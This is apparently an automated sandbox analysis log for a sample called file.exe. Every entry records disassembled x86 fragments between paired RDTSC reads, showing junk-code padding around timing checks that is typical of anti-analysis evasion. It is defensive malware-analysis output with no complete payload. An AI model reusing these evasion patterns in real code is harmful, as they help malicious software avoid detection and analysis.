Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4BAB second address: DB4BC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D3h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4EB1 second address: DB4EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4EBB second address: DB4ED5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4ED5 second address: DB4ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4ED9 second address: DB4EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FE3588107CEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EC90 second address: D5ECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a push edi 0x0000000b mov edx, 04B9AE01h 0x00000010 pop edi 0x00000011 or dword ptr [ebp+122D1C53h], edx 0x00000017 popad 0x00000018 mov ebx, dword ptr [ebp+12482B48h] 0x0000001e mov edi, dword ptr [ebp+12463C5Fh] 0x00000024 jnc 00007FE3589D55B8h 0x0000002a add eax, ebx 0x0000002c sub dword ptr [ebp+122D1BF1h], ecx 0x00000032 nop 0x00000033 push ebx 0x00000034 jmp 00007FE3589D55BDh 0x00000039 pop ebx 0x0000003a push eax 0x0000003b jp 00007FE3589D55C3h 0x00000041 jmp 00007FE3589D55BDh 0x00000046 nop 0x00000047 stc 0x00000048 push 00000004h 0x0000004a mov ecx, eax 0x0000004c nop 0x0000004d pushad 0x0000004e push edi 0x0000004f push ebx 0x00000050 pop ebx 0x00000051 pop edi 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5F17 second address: DB5F36 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE3588107C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FE3588107CAh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push ecx 0x00000017 jno 00007FE3588107C6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB95DE second address: DB95E8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB95E8 second address: DB962B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 jmp 00007FE3588107D2h 0x0000000c jmp 00007FE3588107D3h 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 je 00007FE3588107F6h 0x0000001a jg 00007FE3588107D2h 0x00000020 jc 00007FE3588107C6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB962B second address: DB9645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FE3589D55C4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9C86 second address: DB9C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9DE1 second address: DB9DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB9DEB second address: DB9DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26E19 second address: D26E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26E1E second address: D26E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FE3588107D5h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FE3588107D8h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FE3588107CAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2338 second address: DC2363 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE3589D55BEh 0x00000008 push ebx 0x00000009 jmp 00007FE3589D55C8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2363 second address: DC237E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jp 00007FE3588107CCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC237E second address: DC2385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2385 second address: DC238D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC238D second address: DC2396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2396 second address: DC239A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC239A second address: DC239E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2673 second address: DC2687 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FE3588107C6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jno 00007FE3588107C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC31A2 second address: DC31A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC37AF second address: DC37C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FE3588107C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC37C1 second address: DC37C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC37C5 second address: DC37CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC37CE second address: DC37D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8334 second address: DC8338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8338 second address: DC8347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FE3589D55B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8347 second address: DC834D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC834D second address: DC8355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD958 second address: DCD981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE3588107C6h 0x0000000a jne 00007FE3588107C6h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FE3588107CFh 0x00000017 jl 00007FE3588107C6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD981 second address: DCD987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCECD second address: DCCED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCCED5 second address: DCCED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD010 second address: DCD03A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FE3588107CEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD03A second address: DCD040 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD040 second address: DCD047 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD047 second address: DCD051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1A8 second address: DCD1CD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FE3588107D8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1CD second address: DCD1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FE3589D55B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1DE second address: DCD1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1E2 second address: DCD1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1EC second address: DCD1F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD1F0 second address: DCD1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD33D second address: DCD341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD341 second address: DCD34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FE3589D55BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD6E99 second address: DD6EBC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FE3588107C6h 0x0000000f je 00007FE3588107C6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007FE3588107C8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD58ED second address: DD58F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDFE7 second address: DDDFED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDFED second address: DDDFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDFFC second address: DDE000 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE000 second address: DDE028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE3589D55BEh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FE3589D55B8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007FE3589D55B6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE028 second address: DDE030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE030 second address: DDE03F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3589D55BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE03F second address: DDE048 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDB5A second address: DDDB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE02D3 second address: DE02D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF69A second address: DEF6C8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FE3589D55B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE3589D55C7h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF12E second address: DEF132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF132 second address: DEF136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01EE9 second address: E01EF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FE3588107C6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01EF9 second address: E01EFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0677E second address: E06789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE3588107C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06789 second address: E06790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06790 second address: E06796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C4D2 second address: E0C4F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE3589D55BCh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007FE3589D55C4h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AD63 second address: E0AD6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AD6D second address: E0AD9E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE3589D55B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE3589D55C1h 0x00000013 jmp 00007FE3589D55C2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B361 second address: E0B371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jnl 00007FE3588107C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B7C9 second address: E0B81B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C0h 0x00000007 ja 00007FE3589D55B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jng 00007FE3589D55BCh 0x00000016 js 00007FE3589D55B6h 0x0000001c push ebx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f jmp 00007FE3589D55C3h 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 jmp 00007FE3589D55C0h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0F940 second address: E0F951 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3588107C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FAAC second address: E0FAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FAB5 second address: E0FAD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D3h 0x00000007 jnp 00007FE3588107CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20700 second address: E2070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2070A second address: E20742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D1h 0x00000007 jmp 00007FE3588107D5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 jnp 00007FE3588107C6h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20742 second address: E2074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E221EA second address: E221F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE3588107C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A928 second address: E1A940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55BFh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A940 second address: E1A944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30245 second address: E30270 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE3589D55BEh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE3589D55BFh 0x0000000f popad 0x00000010 jnp 00007FE3589D55BCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48E15 second address: E48E34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FE3588107CFh 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47FCA second address: E47FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE3589D55B6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E47FD5 second address: E48000 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D5h 0x00000007 jnc 00007FE3588107CEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48000 second address: E48006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4867E second address: E48690 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE3588107C8h 0x00000008 jo 00007FE3588107CEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48ACE second address: E48AD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AD2 second address: E48AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE3588107D9h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4BA74 second address: E4BA8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FE3589D55BCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0386 second address: 4AC038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC038A second address: 4AC0390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0390 second address: 4AC03A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107CDh 0x00000009 rdtsc
